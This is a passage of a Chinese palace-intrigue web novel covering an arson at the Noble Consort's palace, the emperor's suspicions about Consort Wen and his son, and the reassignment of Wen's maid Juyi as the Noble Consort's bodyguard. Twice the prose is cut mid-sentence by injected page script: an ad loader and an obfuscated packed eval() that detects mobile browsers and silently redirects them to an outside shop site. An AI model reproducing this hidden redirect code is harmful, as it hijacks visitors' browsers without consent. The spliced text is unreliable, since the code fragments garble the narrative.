闻雪英也觉残忍,她忍不住皱眉,心中暗暗叹息,感慨这规矩真是够惨无人道的。 而她终究不忍真的将许高义掌嘴五十,也不能现在就将他逐出长乐宫,于是看着他略微惨白的脸色道:“念你是初犯,便只掌嘴二十,另外罚俸一个月,以儆效尤吧。” 许高义原本以为自己今日因为一时不慎嘴快,这五十个巴掌是要挨定了,过后很可能再也捞不到什么好的差事,没想到闻雪英会格外开恩,他心中顿时五味杂陈,愣了片刻便磕头谢恩。 闻雪英又道:“就由郑姑姑亲自掌刑好了。” 话落她便带着鞠衣琥珀进了屋,其他宫女太监也一一散去,院内只留下仍旧跪着的许高义,和神情晦暗不明的郑如潇。 许高义直起身子,扬起脸,语气漫不经心:“郑姑姑,您请吧。” 郑如潇牙根紧咬,看一眼窗户上透出的模糊人影,抬起手重重地落了下去。 * 屋内,闻雪英用干净的水洗了把脸,换上寝衣坐在床沿。 鞠衣在一旁收拾她换下来的衣裳,琥珀替她将一头青丝编成发辫,以免打结。 “南风殿怎么偏偏就今夜走水了呢?”琥珀又忍不住开口了。 闻雪英扭头瞪她一眼,斥道:“外头的巴掌声没听见?不该说的话别说。” 琥珀吐了吐舌头,忙闭上了嘴。 鞠衣忙完手上的事,这时也走到床榻边,担忧道:“可是,您难道不觉得今夜这把火,实在有些蹊跷吗?” 闻雪英伸了个懒腰,又打了个哈欠,这才徐徐道:“是不太对。” 鞠衣和琥珀,包括正在受罚的许高义,他们三人的话中之意闻雪英都明白,他们觉得南风殿这火,并非意外,而是有人故意为之,目的,多半是为了将洪庆帝从她这里引走。 而指使这件事的人,满宫里也似乎只有贵妃娘娘才有这个动机。 诚然,他们的怀疑也是在情理之中,只是闻雪英细细思索一番,却觉得贵妃娘娘不会做这样的事。 可若要完全相信这是个巧合,是个意外,她又说服不了自己。 究竟真相如何,靠猜也是枉然,闻雪英只能是走一步看一步,如今当务之急,她需得先弄清长乐宫这些下人们的底细。 首先便是郑如潇和许高义,这两人能当上长乐宫的首领太监和宫女,闻雪英也不敢小觑。 今夜对许高义的惩处,她本可以随意指一个人的,但她偏偏让郑如潇亲自掌刑,便是想探一探这两人是不是一伙的;若他们是一伙,郑如潇必定会手下留情,若不是,许高义怕是要吃些苦头了,结果如何,只待明日见分晓。 * 靖渊到得南风殿时,大火已被扑灭,本已就寝的孙贵妃也被这莫名其妙的大火给惊得起了身,是她指挥着下人将火给扑灭的。 火刚灭,靖渊就来了。 孙贵妃见他脸色铁青,知道他担心自己,忙上前宽慰道:“陛下,我没事,火已经灭了。” 靖渊见她脸色如常,悬起的心稍稍放了回去,可再看到遍地的黑焦残垣,靖渊仍旧感到心惊。 他眉间的怒意不加掩饰,一个斜眼看过去,南风殿上上下下的宫人皆跪了下去。他大声喝道:“守夜的太监和侍卫都在干什么,好端端地怎么会失火?” “陛下息怒,都是奴才们当差不小心。”回话的是南风殿掌事太监,他听靖渊喝问,忙颤声回道:“不过,今夜这火,似乎不是意外,而是有人纵火。” “什么?”听闻“纵火”二字,靖渊和孙贵妃双双变了脸色。 靖渊道:“你继续说。” “奴才听见有人喊‘走水’,忙跑出来查看,慌乱中,似乎瞧见有一人影越过墙头,逃窜了出去,这火,也多半是那人所放。” “你们其他人有看见吗?”靖渊朝其他宫人问道。 但其他奴才只是摇头。 那回话的掌事太监出了一身的冷汗,他的确是看到有个人影从墙头上窜了过去,只是眼下只有他一个人看见,口说无凭,怕是不能取信于陛下。 靖渊这时再度发问:“就只有你一个人看见了吗?” 掌事太监咽了口唾沫,将身子伏得更低,再开口声音已经带了哭腔:“陛下明鉴,奴才的确是看到了。” 若是不能让陛下相信黑影的事,今夜他怕是要落一个值守不力的罪名,轻则挨上几十大板,重则性命不保。 可那时南风殿所有人的注意力都在着火的偏殿上,没有第二个人看见…… 恰就在这时,许往筌从外头走了进来,道:“陛下,蒙大人在外求见,说是有要事禀报陛下。” 他口中的蒙大人是宫中禁卫军统领蒙青,靖渊听是他求见,忙让许望筌将人给带进来。 靖渊心中隐隐有个猜测,蒙青这个时候求见他,他要说的事,十有八九与这场大火有关。 果然蒙青行完礼,却不起身,只惭愧道:“启禀陛下,一个时辰前,侍卫们巡逻到南风殿附近,发现南风殿院墙内翻出一人影,侍卫们虽竭尽全力,也还是叫那人给逃了,臣已派人在宫中各处搜索,但仍未发现那人去了哪里,臣实在无能,还请陛下恕罪。” 蒙青自靖渊称帝后便当上了这皇宫内的禁卫军统领,负责掌管皇宫安防,五年了,从未出过什么岔子,岂料今夜就出了事,还是疑似出现刺客贼子这样的大事。 手下的人发现宫内出现不明身份之人,忙将消息禀报给他,他本来打算先悄悄地将这人找出来再回禀陛下,毕竟人是从南风殿翻墙而出,南风殿里住着贵妃,他说不好那人影的出现与贵妃是否有关联。 蒙青正带着人在宫内悄悄搜索呢,手下的人又说南风殿失火,他想这火多半与那人影有关,于是这才赶来将此事禀报靖渊。 蒙青的话,无意中证实了南风殿掌事太监的说辞。 如此便可以肯定,南风 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 殿的火,的确不是个意外。 那人能在蒙青手底下逃脱,可见本事非同一般,靖渊既惊且怒,厉声吩咐蒙青尽快将此事查清。 蒙青领命退下,靖渊目光扫过眼前跪着的所有宫人,指一指许望筌道:“将他们先单独扣押看管起来。” 孙贵妃听闻这话,忙道:“陛下……” 靖渊抬手制止她的话,道:“朕明日会让林衍入宫审问他们,若是他们与今夜的失火无关,朕会放了他们。” 孙贵妃心知出了这样的事,南风殿的宫人少不了要被审问一番,她想告诉靖渊,她宫里的人绝对不会做出什么背主忘恩的事,只是话到了嘴边又收了回去。 宫人被带了下去,靖渊又吩咐许望荃:“召御医过来给贵妃开点安神的方子,再去长乐宫,告诉闻贵人,朕今晚宿在南风殿。” 孙贵妃一愣,人还没反应过来,靖渊已经自顾自进了她的寝殿,孙贵妃咬了咬唇,眼底的神色一时间有些复杂,震惊,为难,无措,还有隐隐的懊悔。 她想说什么,但当着下人的面,孙贵妃还是没开口,犹豫片刻也跟了进去。 靖渊进到屋内,寻了张椅子坐下,便久久不说话。 他眼皮低垂,目光虚虚地望着,也不知道在想什么。 孙贵妃到他面前停下,犹豫再三开口:“陛下,臣妾没事,臣妾这南风殿地方本就不大,如今偏殿又烧了,您还是……” 靖渊抬头看了她一眼,平静地打断她:“朕打地铺。” 若孙贵妃是寻常的帝王妃嫔,她是断断不会让靖渊睡在地上,但她不是,于是她紧接着就跑到床榻边,从塌上搬了两床被子下来。 靖渊看着她做这一切,再次问道:“你若是想离宫,朕想办法放你出去。” 他始终将贵妃当成自己的妹妹,对她的感情只有兄妹之情,她若是想要自由,如今的靖渊是可以给的。 不过这话他问出口就后悔了,根据他的经验,他的这一番好心,贵妃依旧不会领情。 然而靖渊这回却没有等来贵妃的拒绝,贵妃沉默了,看上去似乎心事重重。 靖渊有些惊讶,他轻声道:“紫鸳?” 孙贵妃回神,眼神与靖渊的对上,看他眼神充满探究之意,她连忙笑了笑道:“陛下,您今夜本打算宿在长乐宫?” “……”她在转移话题,靖渊挑了挑眉,也不打算拆穿,便顺着她的话点了点头。 孙贵妃眉心一蹙,片刻后又舒展开来,面庞浮现恍然大悟之色,然而这变化靖渊并未察觉,他想到今夜这场莫名大火,一瞬间觉得困惑不已,贵妃最近是招了什么邪祟上身吗,前些日子莫名被刺杀,今夜又险些被火烧。 似乎是有人想要置贵妃于死地,可这究竟是为什么? 靖渊又想起了上次从那刺客东西里翻出来的那张字条上的内容,“为殿下大业着想,需尽快除掉贵妃。” 靖渊抬头看着孙贵妃,怎么都觉得她不像是会卷进他儿子的储位之争中的人。 孙贵妃并不知他心中所想,她眼眸低垂,轻笑两声道:“陛下,今夜这火,可是坏了您跟闻贵人的好事呢。” 靖渊冷不防听她戏谑开口,严峻的神色渐渐温和下来,他也忍不住嗤笑一声,温声道:“什么好事不好事的,朕本来也没打算今夜就宠幸她。” “哦?”孙贵妃沉吟片刻,不由想到了上次靖渊说的话,她疑惑道:“陛下是怀疑元宵那夜,钦天监所言为虚?” 靖渊往后仰了仰,寻了一个舒服的姿势,缓声道:“她玩的这一招,都是朕玩剩下的,朕从来不信什么天命注定,朕只信事在人为。” 孙贵妃听他语气肯定,问道:“陛下已经查到证据了?” “确切的证据倒是不曾查到,闻仲年行事够隐蔽,至今未发现他和钦天监里那些人有接触的痕迹。” 孙贵妃眨了眨眼,一时有些糊涂,“那陛下为何如此肯定?” 靖渊不当孙贵妃是外人,如实解释道:“蒙青查到,过去半年里,那闻雪英与桓宇似乎走得很近,那日朕让人去闻府宣读册封的圣旨,桓宇还驾马追了过去,不过他最后倒是什么也没做。” 孙贵妃惊讶道:“可臣妾听说,那日似乎是桓宇的马失了控。” 靖渊叹口气道:“他那马是大食国进贡的,大食国的马以性子温和闻名于世,怎么可能会无缘无故地发狂失控。” 他初时听说这件事,心中就隐隐觉得蹊跷,但也还是召靖桓宇入宫关心了一番,但之后没过几日,蒙青就查到了他的闻贵人与他的儿子相熟的事,那一刻,靖渊突然意识到,或许桓宇的马,并非真的失控,失控的,应该是他自己。 但这目前只是他的猜测,未经证实,靖渊又补充了一句:“这事朕也就说给你听,别外传。” 孙贵妃笑了笑道:“陛下放心,我不是那多嘴的人。” 她顿一顿又道:“只是,倘若桓宇真对闻贵人有什么心思,您打算怎么办?” 靖渊道:“她已经入宫了不是吗,而且桓宇也说了,那日是他的马失控了。” 在靖渊看来,无论之前桓宇与闻贵人之间有什么纠葛,在桓宇打算用“马失控”这个借口掩盖那日他自己失控驾马横穿半个京都大街赶往闻府的不当行为之时,他就已经认了闻贵人是他的庶母了。 所以,他并不觉得这件事有什么值得他困扰的,当前令他头疼不已的,是有人想要伤害贵妃和孙家这件事。 他已经派人暗地里前往亳州了,但愿这次派去的人能带点有用的线索回来。 时间已经很晚了,靖渊渐渐来了困意,便合衣在贵妃铺好的地铺上躺了下去,临睡之前,贵妃的声音突然从床幔后传来出来,“陛下,您可曾想过,今夜这火,或许是臣妾指使人放的。” 靖渊闭着眼睛,淡声道:“你没事烧自己宫殿做什么?” 孙贵妃道:“为了引您离开长乐宫。” 靖渊翻了个身,漫不经心道:“时候不早了,安歇吧。” 贵妃故意防火引他离开长乐宫?靖渊全然没往这个方向想过,贵妃根本可能做这样的事。 他没再说话,很快便睡了过去。 夜深人静,孙贵妃却久久没有睡意,她坐在床上,一手撩开床幔,视线定在靖渊脸上,脸上神情莫测。 36. 第 36 章 翌日天还未大亮,闻雪英就醒了过来。 洗漱之后,她坐在铜镜之前,由着郑如潇替她挽发梳妆。 郑如潇很会梳头,只一盏茶的功夫,闻雪英就瞧见自己披散的长发变成了精致的凌云髻。 她轻轻晃了晃脑袋,发髻稳如磐石。 郑如潇又挑了件发饰簪到她头上,再轻点朱唇描眉画眼,铜镜里的女子顿时变得雍容华贵起来。 “贵人年轻貌美,这一打扮起来,真真是如花似玉,倾国倾城啊。”郑如潇退后两步,由衷地称赞道。 闻雪英静静看着铜镜里与昨日判若两人的自己,温声道:“姑姑谬赞了。” 话虽这样说,但闻雪英的唇角还是控制不住地轻轻上扬,没有人不喜欢被夸赞,她也不例外。 只是可惜,她虽貌美,但这美貌在靖渊眼里似乎不值一提,昨夜与他短暂的相处中,她并未从他的眼中看到任何男女之间的情动之色。 想到这,她又有点沮丧,对于如何讨得靖渊欢心,她毫无头绪。 这时,门帘外有小宫女低声禀报:“启禀贵人,早膳已经备好了,请贵人移步偏厅用膳。” 闻雪英叹了口气,起身往偏厅而去,她没有多少时间用来沮丧,用完早膳,她得去南风殿拜见孙贵妃去。 用膳的时候,闻雪英看到了许高义,他的脸,又红又肿。 看来昨晚郑如潇下手丝毫未留情,闻雪英默默地想着。 她心思微动,吩咐郑如潇:“郑姑姑,一会儿劳烦你去趟太医院,要些活血祛瘀的药回来,给许高义。” 郑如潇一愣,低声应下,许高义则忙跪下谢恩,闻雪英又吩咐他下去休息,这几日都不必来伺候了,许高义千恩万谢地退了出去。 用完早膳,闻雪英将琥珀留下,让她带着郑如潇等长乐宫宫人去整理库房,鞠衣与另外一名叫做芸儿的小宫女则跟着她去南风殿。 主仆三人走了一段,芸儿小声道:“贵人,今日宫里的侍卫,好似增多了。” 闻雪英也发现了,这一路走来,大大小小各处宫门都添了把守的侍卫,宫道上每隔二十步站着一名侍卫,瞧着让人有些害怕。 闻雪英心中起疑,宫里莫不是出了什么事? 又走了一会儿,三人到了南风殿外的宫道上。 闻雪英特意等早膳后再去,本以为靖渊已经去上朝,没想到在南风殿外看到了靖渊的仪驾。 都这么晚了,靖渊居然还在贵妃宫里,闻雪英心中惊讶,面上不动声色地上前。 许望筌迎了上来,躬身笑眯眯地道:“贵人吉祥。” 闻雪英微微颔首,含笑道:“我来给陛下和贵妃娘娘请安,劳烦公公通报一声。” 到都到了,也不好转身就走,便一起请安吧,正好她也想再观察观察靖渊和贵妃之间相处的气氛。 闻雪英没有等很久,许望筌很快折返出来,带她入内。 进去后,自然一眼就看到了昨夜失火的偏殿,看这偏殿损毁的程度,昨夜的火应当不是作假。 靖渊和孙贵妃正在用膳,闻雪英入内依次拜过,靖渊道:“免礼。” 闻雪英谢恩起身,微微抬眼,看到贵妃的装束,她顿时觉得自己失策了。 贵妃穿着一身素色衣袍,头发虽挽成发髻,但却不簪任何发饰,她自己虽也只簪了一支五凤发钗,但在淡妆素裹的贵妃面前,她过于显眼了。 闻雪英心中忐忑,却见贵妃面色欢喜,目露欣赏,和颜悦色道:“人靠衣装,佛靠金装,闻贵人一打扮起来,果真惊为天人,陛下您瞧,闻贵人这样打扮,是不是很好看?” 靖渊本在喝粥,闻雪英进来他也没看,此刻听贵妃这样说,他便抬起头来。 察觉到靖渊的视线落在自己身上,闻雪英不由屏住了呼吸。 几息后,闻雪英听见靖渊低醇的嗓音响起:“嗯,是不错。” 贵妃夸赞她的语气很真诚,但靖渊的语气却是平淡无波,闻雪英听不出他的意思。 不过贵妃听上去没有怪她的意思,闻雪英心底的忐忑少了几分。 她福身再度谢恩,起身后抬眼看着孙贵妃,关切道:“昨夜南风殿走水,娘娘怕是受到惊吓,不知娘娘昨夜睡得可还安稳?” 孙贵妃含笑让她坐下,温声道:“倒是没受到惊吓,多谢你送来的人参,你有心了。” 闻雪英微微笑着,道:“是臣妾该做的。” 孙贵妃让她坐下,又忍不住叹息道:“只是这一失火,少不得又要花钱修缮,如此又给陛下添麻烦了。” 靖渊看着她道:“又不是你烧的,你无需自责,再者,朕还没穷到连座宫殿都修不起的地步。” 孙贵妃摇了摇头,恳切道:“陛下,这偏殿,还是暂且别修了吧,臣妾一个人住这,倒也用不了这么多屋子。” 靖渊将剩下的粥一口喝完,摆了摆手道:“这事你就别操心了,倒是有一事,朕想跟你商量商量。” 贵妃道:“陛下请说。” 孙贵妃和靖渊面对面坐着,旁若无人地交谈起来,两人之间的气氛融洽而温馨,瞧着就是一对相伴多年的夫妻,闻雪英含笑坐在一旁,觉得自己有些格格不入,她正思索着该什么时候起身告辞,却听靖渊突然唤她的名号:“闻贵人,这事也得问一问你的意思。” “什么?”闻雪英呆呆看向靖渊,不仅生出了几分受宠若惊之感。 她何德何能,陛下居然说要看她的意思。 靖渊神情凝重道:“你也知道,贵妃前些日子险些遇刺,昨夜又有贼子放火烧南风殿,虽没伤到贵妃,朕也还是对贵妃的安危很是担心。” 闻雪英很是意外,原来昨夜南风殿的走水,不是意外? 怪不得今日宫里会多出那么多侍卫。 她顺嘴问道:“那贼子可曾捉住?” 靖渊摇了摇头,闻雪英若有所思,缓缓道:“看来有人想要谋害贵妃娘娘,如此,怕是得增强南风殿的守卫。” 靖渊道:“正是如此,只是守卫再多,终究都是男子,不能贴身保护贵妃,宫中宫女皆手无缚鸡之力,朕本想从宫外寻找会武功的女子入宫保护贵妃,但仔细一想,终究是不妥。” 闻雪英静静听着,多多少少已经猜到了他的意思,她看一眼身侧垂眸站立的鞠衣,主动开口:“陛下的意思,是想让臣妾的侍女来保护贵妃娘娘?” “正是如此,不知闻贵人可愿意暂时借一个侍女给贵妃?” 孙贵妃插话道:“陛下不必如此,闻贵人的两个侍女伺候她习惯了,臣妾怎好贸然要了过来?” 孙贵妃似乎真的无意将人家的贴身侍女要到自己身边,但靖渊抬手制止她继续说下去,他的视线落在闻雪英脸上。 闻雪英:“……” 她颇感无奈,靖渊居然问她愿不愿意,她心中不由苦笑,心说自己难不成还能说不愿意吗? 闻雪英在暗暗翻了一个大大的白眼,面上却还是噙着得体的笑容,她温婉开口:“那就让鞠衣留在贵妃娘娘身边吧。” 鞠衣也很懂事,忙跪下道:“奴婢必定鞠躬尽瘁,保护好贵妃娘娘。” 孙贵妃脸色微微一变,开口道:“真的不必了……” 靖渊则再度打断她道:“那就让她留下,上次也是她救的贵妃吧?也算是与贵妃有缘。紫鸳,听朕的话,你的安危比较重要。” 闻雪英看得出,孙贵妃其实很抗拒鞠衣留下,不过她没有借口拒绝靖渊的好意。 “只是臣妾得提前跟陛下和贵妃娘娘说一声,鞠衣武功虽好,但别的方面却是一塌糊涂,日后她若是不小心惹娘娘生气,还请陛下和娘娘网开一面,不要跟她一般见识。” 靖渊微笑道:“她只需负责贵妃的安危即可,旁的事不用她动手。” 闻雪英起身朝着靖渊拜一拜:“臣妾替鞠衣谢过陛下,谢过贵妃娘娘。” “那朕就安心了。” 才入宫第二日,闻雪英便“损失”了一名心腹,她心情很是复杂,即便靖渊为了补偿她再度给了她一些赏赐,闻雪英依旧无法开怀。 靖渊离开后,闻雪英见孙贵妃似乎有些精神不济的样子,于是她便起身告退。 贵妃让鞠衣送她出门。 到了大门外,闻雪英拉着鞠衣的手,愧疚道:“是我没用,陛下的命令我不敢违抗,以后怕是要委屈你了。” 鞠衣笑笑道:“没事的小姐,不就是保护贵妃吗,能有多难,我瞧着贵妃很好相处,奴婢在这里不会受委屈的。” 话虽这样说,但鞠衣到底陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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靖桓宇一听是宫里的消息,便示意下人将他的衣裳拿过来。他喘着粗气看着常立,常立挥挥手让其他亲卫都退下,他走上前前,低声回话:“王爷,宫里传来消息,昨夜贵妃殿中走水,陛下最后去了南风殿,未曾宠幸闻贵人,不过……” 靖桓宇听到闻雪英未曾被宠幸,阴沉的面色稍霁,唇角也有了微微的弧度。 但听常立吞吞吐吐,便若有似无地瞥他一眼,冷声道:“有话直说。” 常立继续道:“闻贵人身边不是有两个会武功的侍女吗,今早陛下问了闻贵人的意思,将其中一名侍女拨到了南风殿,说是让她以后贴身保护贵妃。” 靖桓宇蹙了蹙眉,片刻后悠悠开口:“是鞠衣还是琥珀?” 常立道:“……似乎是那个叫鞠衣的。” 靖桓宇叹了口气,扔掉手中兵器,抬脚出了练武场,“鞠衣的功夫没有琥珀高,只是,她的脑子比琥珀更聪明,心思也够细腻,让她留在南风殿,以后咱们怕是很难再利用贵妃做什么了。” 常立跟在靖桓宇身后,闻言道:“还有白太妃……” “呵……”靖桓宇嗤笑一声,语气带着些讽刺不屑:“寿康宫那些太妃太嫔,父皇根本不放在心上,她们的用处不大。” “那接下来,您打算怎么办?” 靖桓宇沉思半晌,侧头问常立:“常行那边如何了?” 常立道:“属下正要向您禀报呢,常行的信上说,咱们要找的人,已经查到些线索了,不过奇怪的是,似乎还有另外一批人马,也在寻找那人。” “另外一批人马?”靖桓宇停下脚步,转身道:“可查到是谁的人?” 常立低声道:“好像是杨府的人。” “杨府?鸿胪寺卿杨严?”靖桓宇眉间难掩惊愕,常立颔首道:“正是。” 杨严也在找那人?靖桓宇唇角笑意收敛,脸上露出思索的神情,半晌后,他又冷笑一声,缓缓道:“去查查杨严,另外,让赵越今晚来见本王!” 常立愣了一瞬,突然反应过来,鸿胪寺卿杨严,不正是诚国公的岳丈吗?杨严的女儿虽已去世,但她为诚国公生下一女,杨严也极为宠爱这个外孙女,这些年,两家的关系倒是没断。 难道这事与诚国公有关? 靖桓宇撂下这句话,转身继续往前,这回他的步伐急促,隐隐透着愤怒,常立来不及细细思索,忙按他吩咐去办事 37. 第 37 章 一转眼,闻雪英入宫已有六七日了,靖渊没再来过长乐宫,闻雪英也就在长乐宫闭门不出。 一来这宫里除了四四方方的宫殿便没什么好看的,二来出了长乐宫她也无处可去。 她倒是想过去南风殿陪孙贵妃说话,顺便看看鞠衣在那里待的如何了,只是马上要到选秀的最后一轮殿选了,孙贵妃这几日忙着殿选的事,她不好去给贵妃添乱。 至于寿康宫的那些太妃太嫔们,她之前一直认为靖渊对那些女子很是敬重,可娘亲听闻靖渊将几个太嫔赐给御史刘显后,却讽刺道:“他若真真敬重那些可怜的女人,就不会将她们当做物件一样,想赐给谁就赐给谁了。” 娘亲的话还在耳边回响,闻雪英叹了口气,心情复杂。 芸儿端来一碟子切好的水果放在她面前的案几上,用小银岔子插了一瓣橘子递过来:“贵人,吃块橘子吧。” 闻雪英没什么心情吃东西,但芸儿长着一双圆脸,又总是笑眯眯的,闻雪英不忍拒绝,就着她的手将橘子含进嘴里。 不过她也就吃了两块,就没让芸儿再喂了。 芸儿将果盘推到一边,坐在榻边替她轻轻捶着双腿,“贵人,今日就是殿选了,不知陛下会纳几位新人入宫?” 芸儿的嘴角向下撇了撇,语气听着很是担忧,今日一过,后宫再添新人,可陛下至今还未曾召闻贵人侍寝,要是让新人抢了先,那长乐宫何时才有出头之日啊。 那晚要不是南风殿走水,说不定陛下就留在长乐宫了,可是这几日,也没见陛下再来过后宫,芸儿愁眉苦脸,猜不出陛下是什么意思。 她双手轻柔地捶打着,下意识抬头看一眼闻雪英,继而在心中嘀咕道:“闻贵人长的好看,性子也很温柔,这样的女子,陛下没有理由不喜欢,陛下到底为什么一直不来?” 芸儿心中所想,闻雪英自然猜不到,不过,不过她的话倒是让闻雪英骤然意识到一件事。 所谓选秀只是为了给两位皇子选妃一事,她毕竟不曾亲耳听靖渊说过。而且人的想法是会变的,难说靖渊今日不会看到哪个秀女就改了主意,给两位皇子赐婚的同时,也给自己留上几个。 闻雪英咬了咬唇,扬声喊道:“如潇。” 郑如潇很快走了进来,闻雪英含笑问道:“如潇,你知道陛下在饮食上,有什么特别的喜好吗?” 她是带着目的进宫的,要达成目的,便不能一直坐以待毙,闻雪英决定主动出击,先从靖渊的饮食上下手。 “贵人折煞奴婢了。”郑如潇笑了笑道:“陛下的饮食喜好,奴婢哪里有资格知道。” 闻雪英“哦”了一声,也突然反应过来,是了,听说为了防止有人在陛下的饮食中动手脚,陛下用膳时,每道菜最多只夹三次。 郑如潇这时又道:“不过,奴婢倒是可以想办法找许公公打听打听。” 她口中的许公公自然是养居殿的许望筌,闻雪英闻言狐疑地看向她:“许公公是御前的人,他会说么?” 郑如潇缓缓道:“御前的人也是人,只要是人,就总有能让他愿意开口的东西。” 闻雪英挑了挑眉,心说那不就是钱吗。 钱她有的是,只是她一时拿不准主意,毕竟找许望筌打听,说轻了是她这个贵人想讨陛下欢心,说重了,安她一个随意探听圣意的罪名也不为过。 闻雪英表示自己要考虑考虑,郑如潇便退了出去。 到了晚上,用过膳后,闻雪英让人寻了本诗集,她坐在榻上百无聊赖地翻着,没看多久眼皮就开始打架,正打算放下睡觉,外头响起了许高义惊讶的声音:“鞠衣姑娘,你怎么回来了?哎吆,你这脸是怎么回事?怎么肿了?” 闻雪英听到这话,困意瞬间消失不见,她下了塌,连鞋子都顾不上穿就往外跑,推开门,果然见鞠衣站在外头。 她的两边脸颊都是肿的。 “鞠衣。”闻雪英顿时有些心疼,连忙拉她进屋,关切道:“怎么回事,贵妃娘娘打你了?” 鞠衣摇了摇头,突然跪了下来,带着哭腔道:“贵人,奴婢闯祸了。” 闻雪英心下一沉,忙将鞠衣拉了起来,细细问道:“别着急,慢慢说,出什么事了?” 鞠衣擦了擦眼泪,抽噎着道:“奴婢今日陪着贵妃娘娘前往景福宫主持秀女殿选……” 在靖渊的苛刻条件下,今年参选的秀女总共只有一百多人,经过了大半个月的挑选,最终进入殿选环节的,闻雪英听说只有二十人,赵又岚自然是得到了殿选资格的,至于其他十九人都是谁,闻雪英却不清楚。 鞠衣说,贵妃娘娘的娘家侄女孙淑仪亦在殿选之列,闻雪英心想,孙淑仪是国舅之女,入选那是板上钉钉的事,鞠衣也是这样以为的,但今日选秀的结果却不是如此。 今日选秀,陛下也去了景福宫,不过还没等到秀女进殿,陛下就回了养居殿,临走前将选秀的事全权交给贵妃抉择。 谁留下,谁离开,都由贵妃做主。 二十名秀女,最终入选的只有六人,但这六人当中,却没有孙淑仪。 落选的秀女们各自得到了绸缎一匹与珠花一对,赏赐虽少,但这绸缎与珠花皆是宫中御用,虽少却精,落选的秀女虽有不同程度的失望,但这赏赐也算是一点安慰,于是大家很快便调整好心态,带着赏赐出宫回家了。 但那孙淑仪到了宫门口,却突然折返回来。 她是贵妃的娘家侄女,以前也经常入宫陪伴贵妃,宫里的奴才大多都认识她,沿途的侍卫虽尝试阻拦,但孙淑仪若是搬出贵妃侄女的身份来,侍卫们只怕也得让路。 约摸是因为这个原因,孙淑仪一路畅通无阻地来到了南风殿,不等下人进去通传,她就闯了进来。 据鞠衣所说,当时的情形是这样的: 孙淑仪进了南风殿,见了贵妃也不请安,只盛气凌人地质问贵妃,为什么不选她? 贵妃似乎对这个侄女并不怎么喜爱,见她如此不知礼数,眸光霎时就冷了下来,她对孙淑仪说的话也是丝毫不留情面:“你蛮横无理,飞扬跋扈,不知天高地厚,却又蠢笨如猪,选你还不如选块砖头。” 孙淑仪不妨被自己的姑母如此指责,还是当着下人的面,她的脸色当下就被气得涨成猪肝色。 鞠衣目睹一切,人都惊呆了。 她能理解孙淑仪落选后的失望愤怒,跑来质问自己的贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946794|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃姑姑这一行为虽不当,但贵妃也骂得忒难听了,然而接下来孙淑仪的一系列动作,让鞠衣也算是明白了,贵妃骂的很对。 孙淑仪听贵妃这般说她,整个人突然就炸了,她就在南风殿大吼大叫起来,甚至还想上去撕扯贵妃,鞠衣始终谨记自己留在南风殿的使命,她见孙淑仪朝着贵妃冲过来,下意识上前阻拦。 孙淑仪虽在暴怒之中,但鞠衣是习武之人,轻松就将孙淑仪给拦了下来,只不过鞠衣没有控制好力道,一不小心将孙淑仪给推倒了。 孙淑仪摔了一个屁股蹲。 这下,惊呆的人变成了孙淑仪,短暂的怔愣过后,她从地上爬了起来,指着鞠衣破口大骂:“你个狗奴才,居然敢推我?” 孙贵妃被这突然的变故给吓了一跳,但很快回过神来,她将鞠衣一把拉到身后,冷声斥道:“孙淑仪,你放肆!还不滚出去。” 殿内的动静过大,南风殿的宫人们都被惊动了,几个奴才以为出了什么事,急急跑了进来,但里头的情形却是让他们一时不知所措。 鞠衣见形势不对,慌忙跪下道:“孙小姐息怒,奴婢不是故意的,请孙小姐恕罪。” 然而无论是鞠衣的及时认罪,还是贵妃的严厉斥责,都没能将孙淑仪的理智给唤回来,孙淑仪的面容变得扭曲,她又朝鞠衣冲了过去,抓着鞠衣的衣领,狠狠两个巴掌就落了下来。 鞠衣没来得及防备,这两个巴掌结结实实打在她脸上,她顿时便感到眼冒金星,耳朵嗡嗡地叫。 接下来的场面更混乱了,贵妃似乎打了孙淑仪;孙淑仪被贵妃下令绑了起来,嘴巴也被塞住;好像陛下也来了…… 总之,鞠衣的脑子一直乱哄哄的,贵妃指了名宫女带她下去上药,药粉上脸,痛感刺激了她的神经,后知后觉的,鞠衣察觉自己怕是闯下大祸了。 本能驱使着她来长乐宫求助闻雪英。 鞠衣几乎是一把鼻涕一把泪地说完这些话,闻雪英拿着帕子轻轻替她擦拭眼泪,柔声安慰她:“别怕别怕,有我在呢,我不会让你有事的。” 鞠衣平日最是稳重,闻雪英还从来没有见过她如此战战兢兢过,可见她今日是真被吓着了。 即便闻雪英和琥珀不停说着宽慰的话,鞠衣的哭腔始终没有停下。 芸儿不知从哪里找来两颗剥了壳的鸡蛋,和琥珀一人一颗,慢慢在鞠衣脸颊按揉滚动。 一旁的郑如潇道:“鞠衣姑娘不是救过贵妃一次吗?想必贵妃也不会怪罪姑娘的。” 许高义也附和着点了点头。 闻雪英蹙眉沉思,按鞠衣所说,孙贵妃必定不会怪罪鞠衣,况且细想下来,鞠衣也没犯什么错,她是奉了陛下的命而保护贵妃娘娘的,自然要替贵妃排除所有可能的威胁。 只是,那孙淑仪,毕竟是国舅的女儿,贵妃不怪罪,不代表孙国舅不会追究。 牵扯到孙国舅,便有可能牵扯到前朝,牵扯到父亲。 闻雪英不想让鞠衣受这个委屈,也不想这件事影响到父亲。 沉吟许久,她心中渐渐有了主意,深吸一口气,闻雪英让郑如潇从衣柜里翻出一件素色衣裙,又拆掉发髻,随后带着鞠衣前往南风殿。 38. 第 38 章 她散了发髻,换上素衣,打算先一步带着鞠衣前往南风殿,向贵妃和陛下请罪。 